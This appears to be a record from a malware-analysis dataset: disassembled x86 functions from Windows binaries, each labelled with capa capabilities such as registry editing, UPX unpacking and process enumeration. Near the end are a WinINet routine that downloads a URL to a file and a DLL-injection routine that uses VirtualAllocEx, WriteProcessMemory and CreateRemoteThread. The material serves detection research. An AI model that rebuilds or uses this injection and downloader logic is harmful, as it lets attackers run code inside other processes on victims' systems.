joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5d0c1b
Capabilities:
Print debug messages
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor eax, eax
xor ebx, ebx
push esi
inc eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push ebx
lea eax, [ebp - 8]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.SHLWAPI.dll_SHGetValueW]
test eax, eax
jne 0x5d0ca4
push dword [ebp - 4]
call fcn.005d9579
push dword [ebp - 4]
mov esi, eax
push ebx
push esi
call fcn.005d4520
add esp, 0x10
mov dword [ebp - 8], 1
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 8]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.SHLWAPI.dll_SHGetValueW]
test esi, esi
je 0x5d0ca4
push dword [ebp + 0x14]
push esi
call fcn.005eda80
test eax, eax
movzx ebx, bl
push 1
pop eax
push esi
cmove ebx, eax
call fcn.005d9574
add esp, 0xc
test bl, bl
jne 0x5d0cbd
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
push str.CheckRegSZValue_false__
call esi
push dword [ebp + 0xc]
call esi
push 0x67e6a0
call esi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x5d0cc7
Capabilities:
Delete registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x198
mov eax, dword [0x69cef4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 0x10
pop ecx
push 0x88
mov dword [ebp - 0x198], eax
lea edi, [ebp - 0xcc]
lea eax, [ebp - 0x8c]
mov esi, str.SOFTWARERegisteredApplications
push 0
rep movsd dword es:[edi], dword [esi]
push eax
call fcn.005d4520
push 0xc8
lea eax, [ebp - 0x194]
push 0
push eax
call fcn.005d4520
lea eax, [ebp - 0xcc]
push eax
lea eax, [ebp - 0x194]
push eax
call fcn.005edac0
lea eax, [ebp - 0x194]
push 0x608b38
push eax
call fcn.005eda4f
lea eax, [ebp - 0x194]
push ebx
push eax
call fcn.005eda4f
add esp, 0x30
lea eax, [ebp - 0xcc]
cmp dword [ebp + 0x10], 0
push ebx
push eax
je 0x5d0d96
mov edi, reloc.WS2_32.dll_bind
push edi
call dword [sym.imp.SHLWAPI.dll_SHDeleteValueW]
mov esi, dword [ebp - 0x198]
push esi
call fcn.005edae2
pop ecx
lea eax, [eax*2 + 2]
push eax
push esi
push 1
push ebx
lea eax, [ebp - 0xcc]
push eax
push edi
call dword [sym.imp.SHLWAPI.dll_SHSetValueW]
jmp 0x5d0da1
push reloc.WS2_32.dll_bind
call dword [sym.imp.SHLWAPI.dll_SHDeleteValueW]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005ca59c
mov esp, ebp
pop ebp
ret 0xc
Function at 0x5d0db4
Capabilities:
Delete registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x370
mov eax, dword [0x69cef4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
lea edi, [ebp - 0x44]
mov esi, 0x60bf90
mov dword [ebp - 0x370], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x36c], eax
mov eax, dword [ebp + 0x18]
movsd dword es:[edi], dword [esi]
push 0x2e
mov dword [ebp - 0x368], eax
lea eax, [ebp - 0x32]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
xor edi, edi
push edi
push eax
call fcn.005d4520
mov esi, 0xc8
lea eax, [ebp - 0x1d4]
push esi
push edi
push eax
call fcn.005d4520
push esi
lea eax, [ebp - 0x10c]
push edi
push eax
call fcn.005d4520
push 0x190
lea eax, [ebp - 0x364]
push edi
push eax
call fcn.005d4520
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x1d4]
push eax
call fcn.005edac0
lea eax, [ebp - 0x1d4]
push 0x608b38
push eax
call fcn.005eda4f
add esp, 0x40
lea eax, [ebp - 0x1d4]
push ebx
push eax
call fcn.005eda4f
lea eax, [ebp - 0x1d4]
push eax
lea eax, [ebp - 0x10c]
push eax
call fcn.005edac0
lea eax, [ebp - 0x10c]
push str.Capabilities
push eax
call fcn.005eda4f
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x364]
push eax
call fcn.005edac0
lea eax, [ebp - 0x364]
push str.FileAssociations
push eax
call fcn.005eda4f
mov esi, dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
lea eax, [ebp - 0x364]
add esp, 0x28
cmp dword [ebp + 0x1c], edi
mov edi, reloc.WS2_32.dll_bind
push eax
push edi
je 0x5d0f68
call esi
lea eax, [ebp - 0x10c]
push eax
push edi
call esi
mov esi, dword [ebp - 0x368]
push esi
call fcn.005edae2
pop ecx
lea eax, [eax*2 + 2]
push eax
push esi
mov esi, dword [sym.imp.SHLWAPI.dll_SHSetValueW]
lea eax, [ebp - 0x10c]
push 1
push str.AppDesc
push eax
push edi
call esi
mov ebx, dword [ebp - 0x36c]
push ebx
call fcn.005edae2
pop ecx
lea eax, [eax*2 + 2]
push eax
push ebx
push 1
push str.AppIcon
lea eax, [ebp - 0x10c]
push eax
push edi
call esi
mov ebx, dword [ebp - 0x370]
push ebx
call fcn.005edae2
pop ecx
lea eax, [eax*2 + 2]
push eax
push ebx
push 1
push str.AppName
lea eax, [ebp - 0x10c]
push eax
push edi
call esi
xor eax, eax
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x364]
push eax
push edi
call esi
jmp 0x5d0f74
call esi
lea eax, [ebp - 0x10c]
push eax
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005ca59c
mov esp, ebp
pop ebp
ret 0x18
Function at 0x5d0f87
Capabilities:
Delete registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x324
mov eax, dword [0x69cef4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x324]
push edi
mov edi, dword [ebp + 0xc]
push 0x190
push 0
push eax
call fcn.005d4520
mov ebx, 0xc8
lea eax, [ebp - 0xcc]
push ebx
push 0
push eax
call fcn.005d4520
push ebx
lea eax, [ebp - 0x194]
push 0
push eax
call fcn.005d4520
push edi
push esi
lea eax, [ebp - 0x194]
push 0x608b88
push eax
call fcn.0040fd00
push esi
lea eax, [ebp - 0x324]
push str.SOFTWARE_sCapabilitiesFileAssociations
push eax
call fcn.0040fd00
add esp, 0x40
lea eax, [ebp - 0x324]
push eax
lea eax, [ebp - 0xcc]
push eax
call fcn.005edac0
lea eax, [ebp - 0xcc]
push 0x608b38
push eax
call fcn.005eda4f
lea eax, [ebp - 0xcc]
push edi
push eax
call fcn.005eda4f
add esp, 0x18
lea eax, [ebp - 0xcc]
mov esi, reloc.WS2_32.dll_bind
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
lea eax, [ebp - 0x194]
push eax
call fcn.005edae2
pop ecx
lea eax, [eax*2 + 2]
push eax
lea eax, [ebp - 0x194]
push eax
push 1
push edi
lea eax, [ebp - 0x324]
push eax
push esi
call dword [sym.imp.SHLWAPI.dll_SHSetValueW]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005ca59c
mov esp, ebp
pop ebp
ret 8

Function at 0x5d1173
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
mov eax, dword [0x69cef4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x110
xor esi, esi
lea eax, [ebp - 0x214]
push esi
push eax
call fcn.005d4520
add esp, 0xc
mov dword [ebp - 0x218], 0x114
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [ebp - 0x214], 6
jb 0x5d1238
lea eax, [ebp - 0x21c]
push eax
push 0x612ec0
push 3
push esi
push 0x612ee0
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x5d1238
lea eax, [ebp - 0x104]
mov dword [ebp - 0x220], esi
push 0x608b1c
push eax
call fcn.005edac0
mov eax, dword [ebp - 0x21c]
lea edx, [ebp - 0x220]
pop ecx
pop ecx
push edx
mov ecx, dword [eax]
lea edx, [ebp - 0x104]
push edx
push 1
push eax
call dword [ecx + 0x14]
cmp dword [ebp - 0x220], esi
jne 0x5d122c
mov eax, dword [ebp - 0x21c]
lea edx, [ebp - 0x104]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov eax, dword [ebp - 0x21c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
push esi
push esi
push 0x3003
push 0x8000000
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.005ca59c
mov esp, ebp
pop ebp
ret
Function at 0x5d2000
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push dword [ebp + 8]
mov edi, ecx
mov esi, dword [edi + 8]
mov ecx, dword [esi + 8]
call fcn.005d3340
push dword [ebp + 0xc]
mov ecx, dword [esi + 8]
call fcn.005d32f0
push dword [ebp + 0x10]
mov ecx, dword [esi + 8]
call fcn.005d3390
mov eax, dword [edi]
mov ecx, edi
call dword [eax + 0x10]
test eax, eax
je 0x5d203c
mov ecx, dword [edi + 8]
mov dword [ecx + 0xc], eax
mov esi, dword [edi + 8]
lea eax, [ebp + 8]
push eax
push 0
push esi
push 0x5d2090
push 0
push 0
mov dword [ebp + 8], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 0x10], eax
test eax, eax
je 0x5d2080
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x5d2080
push dword [esi + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 0x10], 0
mov eax, dword [edi + 8]
pop edi
pop esi
mov al, byte [eax + 4]
pop ebp
ret 0xc
Function at 0x5d22a0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x607826
mov eax, dword fs:[0]
push eax
sub esp, 0x630
mov eax, dword [0x69cef4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x638], esi
lea eax, [esi + 8]
mov dword [esi], 0
mov dword [eax + 0x14], 7
mov dword [eax + 0x10], 0
cmp dword [eax + 0x14], 8
mov dword [ebp - 0x63c], esi
jb 0x5d22fa
mov eax, dword [eax]
xor ecx, ecx
mov word [eax], cx
mov dword [esi + 0x34], 7
mov dword [esi + 0x30], ecx
cmp dword [esi + 0x34], 8
mov dword [ebp - 4], ecx
jb 0x5d2317
mov eax, dword [esi + 0x20]
jmp 0x5d231a
lea eax, [esi + 0x20]
xor ecx, ecx
mov word [eax], cx
lea eax, [esi + 0x38]
mov dword [eax + 0x14], 7
mov dword [eax + 0x10], ecx
cmp dword [eax + 0x14], 8
jb 0x5d2334
mov eax, dword [eax]
xor ecx, ecx
mov word [eax], cx
lea eax, [esi + 0x50]
mov dword [eax + 0x14], 7
mov dword [eax + 0x10], ecx
cmp dword [eax + 0x14], 8
jb 0x5d234e
mov eax, dword [eax]
xor ecx, ecx
mov word [eax], cx
lea eax, [esi + 0x68]
mov dword [eax + 0x14], 7
mov dword [eax + 0x10], ecx
cmp dword [eax + 0x14], 8
jb 0x5d2368
mov eax, dword [eax]
xor ecx, ecx
mov word [eax], cx
push ecx
mov byte [ebp - 4], 4
mov dword [esi + 0x80], ecx
mov dword [esi + 0x84], ecx
call fcn.005de827
push eax
call fcn.005e0247
push 0x20c
lea eax, [ebp - 0x220]
push 0
push eax
call fcn.005d4520
add esp, 0x14
lea eax, [ebp - 0x220]
push eax
push 0x105
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
dec eax
cmp eax, 0x103
ja 0x5d2427
xor eax, eax
push 0x412
push eax
mov word [ebp - 0x16], ax
lea eax, [ebp - 0x634]
push eax
call fcn.005d4520
add esp, 0xc
lea eax, [ebp - 0x634]
push 0x208
push eax
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_GetLongPathNameW]
cmp eax, 0x208
ja 0x5d2418
test eax, eax
je 0x5d2418
add eax, eax
cmp eax, 0x412
jae 0x5d2413
xor ecx, ecx
mov word [ebp + eax - 0x634], cx
lea eax, [ebp - 0x634]
jmp 0x5d241e
call fcn.005cabe3
lea eax, [ebp - 0x220]
push eax
lea ecx, [esi + 0x20]
call fcn.0040b1a0
mov eax, dword [esi + 0x30]
test eax, eax
je 0x5d2453
cmp dword [esi + 0x34], 8
jb 0x5d2439
mov ecx, dword [esi + 0x20]
jmp 0x5d243c
lea ecx, [esi + 0x20]
cmp word [ecx + eax*2 - 2], 0x5c
je 0x5d2453
push 1
push 0x608b38
lea ecx, [esi + 0x20]
call fcn.0040fbd0
cmp dword [esi + 0x30], 0
jne 0x5d2468
push 3
push 0x67e9c4
lea ecx, [esi + 0x20]
call fcn.00407280
mov dword [esi + 4], 0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.005ca59c
mov esp, ebp
pop ebp
ret
Function at 0x5d2490
Capabilities:
Delete file

Disassembly:
push esi
push edi
mov edi, ecx
cmp dword [edi + 0x60], 0
je 0x5d24ac
cmp dword [edi + 0x64], 8
lea eax, [edi + 0x50]
jb 0x5d24a5
mov eax, dword [eax]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [edi + 0x80]
test eax, eax
je 0x5d24c9
push eax
call fcn.005ca5eb
add esp, 4
mov dword [edi + 0x80], 0
mov eax, dword [edi + 0x7c]
lea esi, [edi + 0x68]
cmp eax, 8
jb 0x5d24df
inc eax
mov ecx, esi
push eax
push dword [esi]
call fcn.00407380
mov dword [esi + 0x14], 7
cmp dword [esi + 0x14], 8
mov dword [esi + 0x10], 0
jb 0x5d24f5
mov esi, dword [esi]
xor eax, eax
mov word [esi], ax
lea esi, [edi + 0x50]
mov eax, dword [esi + 0x14]
cmp eax, 8
jb 0x5d2510
inc eax
mov ecx, esi
push eax
push dword [esi]
call fcn.00407380
mov dword [esi + 0x14], 7
cmp dword [esi + 0x14], 8
mov dword [esi + 0x10], 0
jb 0x5d2526
mov esi, dword [esi]
xor eax, eax
mov word [esi], ax
lea esi, [edi + 0x38]
mov eax, dword [esi + 0x14]
cmp eax, 8
jb 0x5d2541
inc eax
mov ecx, esi
push eax
push dword [esi]
call fcn.00407380
mov dword [esi + 0x14], 7
cmp dword [esi + 0x14], 8
mov dword [esi + 0x10], 0
jb 0x5d2557
mov esi, dword [esi]
xor eax, eax
mov word [esi], ax
lea esi, [edi + 0x20]
mov eax, dword [esi + 0x14]
cmp eax, 8
jb 0x5d2572
inc eax
mov ecx, esi
push eax
push dword [esi]
call fcn.00407380
mov dword [esi + 0x14], 7
cmp dword [esi + 0x14], 8
mov dword [esi + 0x10], 0
jb 0x5d2588
mov esi, dword [esi]
xor eax, eax
mov word [esi], ax
mov eax, dword [edi + 0x1c]
cmp eax, 8
jb 0x5d25a2
inc eax
lea ecx, [edi + 8]
push eax
push dword [edi + 8]
call fcn.00407380
mov dword [edi + 0x1c], 7
cmp dword [edi + 0x1c], 8
mov dword [edi + 0x18], 0
jb 0x5d25c1
mov eax, dword [edi + 8]
xor ecx, ecx
pop edi
pop esi
mov word [eax], cx
ret
xor eax, eax
mov word [edi + 8], ax
pop edi
pop esi
ret
Function at 0x5d3b00
Capabilities:
Get http content length

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ecx + 4]
sub esp, 8
test eax, eax
je 0x5d3b3e
push 0
lea ecx, [ebp - 8]
mov dword [ebp - 4], 0
push ecx
lea ecx, [ebp - 4]
mov dword [ebp - 8], 4
push ecx
push 0x20000005
push eax
call dword [sym.imp.WININET.dll_HttpQueryInfoW]
test eax, eax
je 0x5d3b3e
mov eax, dword [ebp - 4]
xor edx, edx
mov esp, ebp
pop ebp
ret
xor eax, eax
xor edx, edx
mov esp, ebp
pop ebp
ret

Function at 0x5f0bb1
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.005f0a30

Function at 0x5f5b54
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.005f5814
Function at 0x6373b0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x145000]
push edi
jmp 0x6373ca
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x6373d1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6373c0
mov eax, 1
add ebx, ebx
jne 0x6373e3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x6373f4
jne 0x637413
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x637413
dec eax
add ebx, ebx
jne 0x637400
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x6373d8
add ebx, ebx
jne 0x63740f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x637465
xor ecx, ecx
sub eax, 3
jb 0x63742b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x63749a
sar eax, 1
mov ebp, eax
jmp 0x637436
add ebx, ebx
jne 0x637436
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x637404
inc ecx
add ebx, ebx
jne 0x637444
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x637404
add ebx, ebx
jne 0x637451
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x637446
jne 0x637462
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x637446
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x637484
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x637476
jmp 0x6373c6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x637484
add edi, ecx
jmp 0x6373c6
pop esi
mov edi, esi
mov ecx, 0x1924
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x6374a2
cmp byte [edi], 0x11
jne 0x6374a2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x6374a7
lea edi, [esi + 0x232000]
mov eax, dword [edi]
or eax, eax
je 0x63751f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x25d9b4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x25db68]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x6374d4
mov ecx, edi
jns 0x637503
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x25db70]
or eax, eax
je 0x637519
mov dword [ebx], eax
add ebx, 4
jmp 0x6374f1
call dword [esi + 0x25db6c]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x637550
cmp al, 0xef
ja 0x637543
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x637525
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x637532
mov ebp, dword [esi + 0x25db74]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x227]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x637584
sub esp, 0xffffff80
jmp 0x416dee
Function at 0x401d00
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1118
call fcn.0040c880
mov eax, dword [0x42b740]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
lea eax, [ebp - 0x1110]
push eax
push 0x1000
lea ecx, [ebp - 0x1108]
xor edi, edi
push ecx
mov dword [ebp - 0x110c], edi
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
jne 0x401d4b
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040c344
mov esp, ebp
pop ebp
ret
test dword [ebp - 0x1110], 0xfffffffc
jbe 0x401e13
push ebx
mov ebx, dword [ebp + 8]
push esi
mov eax, dword [ebp + edi*4 - 0x1108]
test eax, eax
je 0x401dff
push eax
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x401dff
lea edx, [ebp - 0x1118]
push edx
push 4
lea eax, [ebp - 0x1114]
push eax
push esi
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
je 0x401dff
mov edx, dword [ebp - 0x1114]
push 0x104
lea ecx, [ebp - 0x108]
push ecx
push edx
push esi
call sub.PSAPI.DLL_GetModuleBaseNameA
mov ecx, ebx
lea eax, [ebp - 0x108]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401de2
test dl, dl
je 0x401dde
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401de2
add eax, 2
add ecx, 2
test dl, dl
jne 0x401dc2
xor eax, eax
jmp 0x401de7
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x401df8
mov eax, dword [ebp + edi*4 - 0x1108]
mov dword [ebp - 0x110c], eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x1110]
inc edi
shr ecx, 2
cmp edi, ecx
jb 0x401d60
pop esi
pop ebx
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x110c]
xor ecx, ebp
pop edi
call fcn.0040c344
mov esp, ebp
pop ebp
ret
Function at 0x401ff0
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov eax, dword [0x42b740]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
xor edi, edi
push 0x3ff
lea ecx, [ebp - 0x403]
push edi
push ecx
mov dword [ebp - 0x410], eax
mov dword [ebp - 0x40c], edi
mov dword [ebp - 0x408], edi
mov dword [ebp - 0x418], edi
mov byte [ebp - 0x404], 0
call fcn.0040bb90
add esp, 0xc
push edi
push edi
push edi
push edi
push str.Mozilla_5.0__Windows_NT_6.3__
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebx, eax
mov dword [ebp - 0x414], ebx
cmp ebx, edi
je 0x402127
push edi
push 0x80000000
push edi
push edi
push esi
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
cmp esi, edi
je 0x402120
mov edx, dword [ebp - 0x410]
push edi
push 0x80
push 2
push edi
push edi
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x402113
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
lea eax, [ebp - 0x408]
push eax
push 0x400
lea ecx, [ebp - 0x404]
push ecx
push esi
call ebx
test eax, eax
je 0x4020fc
mov edi, edi
mov eax, dword [ebp - 0x408]
test eax, eax
je 0x4020fc
push 0
lea edx, [ebp - 0x418]
push edx
push eax
lea eax, [ebp - 0x404]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea ecx, [ebp - 0x408]
push ecx
push 0x400
lea edx, [ebp - 0x404]
push edx
push esi
call ebx
test eax, eax
jne 0x4020c0
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [ebp - 0x414]
mov dword [ebp - 0x40c], 1
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edi, dword [ebp - 0x40c]
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040c344
mov esp, ebp
pop ebp
ret
Function at 0x402140
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x42b740]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0xc]
push 0
lea ecx, [ebp - 0x108]
push ecx
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
test eax, eax
jne 0x402191
push str.An_error_is_occured_when_trying_to_get_the_full_path_of_the_DLL._n
call fcn.0040ccd6
add esp, 4
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040c344
mov esp, ebp
pop ebp
ret
push edi
push esi
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4021c6
push str.An_error_is_occured_when_trying_to_open_the_target_process._n
call fcn.0040ccd6
add esp, 4
pop edi
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040c344
mov esp, ebp
pop ebp
ret
push ebx
push str._PROCESS_INJECTION__n
call fcn.0040ccd6
push str.Process_opened_successfully._n
call fcn.0040ccd6
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 8
push 0x40
push 0x3000
lea edx, [ebp - 0x108]
push edx
call ebx
inc eax
push eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
jne 0x402225
push str.An_error_is_occured_when_trying_to_allocate_memory_in_the_target_process._n
call fcn.0040ccd6
add esp, 4
pop ebx
pop edi
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040c344
mov esp, ebp
pop ebp
ret
push esi
push str.Memory_allocate_at_0x_X_n
call fcn.0040ccd6
add esp, 8
push 0
lea eax, [ebp - 0x108]
push eax
call ebx
inc eax
push eax
lea ecx, [ebp - 0x108]
push ecx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x40225a
push str.An_error_is_occured_when_trying_to_write_the_DLL_path_in_the_target_process._n
jmp 0x40220a
push str.DLL_path_writen_successfully._n
call fcn.0040ccd6
add esp, 4
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp eax, 0xffffffff
je 0x402212
test eax, eax
je 0x402212
push str.LoadLibraryA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
test ebx, ebx
jne 0x402297
push str.An_error_is_occured_when_trying_to_get__LoadLibraryA__address._n
jmp 0x40220a
push ebx
push str.LoadLibraryA_address_at_0x_X_n
call fcn.0040ccd6
add esp, 8
push 0
push 0
push esi
push ebx
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
cmp eax, 0xffffffff
jne 0x4022c5
push str.An_error_is_occured_when_trying_to_create_the_thread_in_the_target_process._n
jmp 0x40220a
push str.DLL_Injected___n
call fcn.0040ccd6
mov ecx, dword [ebp - 4]
add esp, 4
pop ebx
pop edi
xor ecx, ebp
pop esi
call fcn.0040c344
mov esp, ebp
pop ebp
ret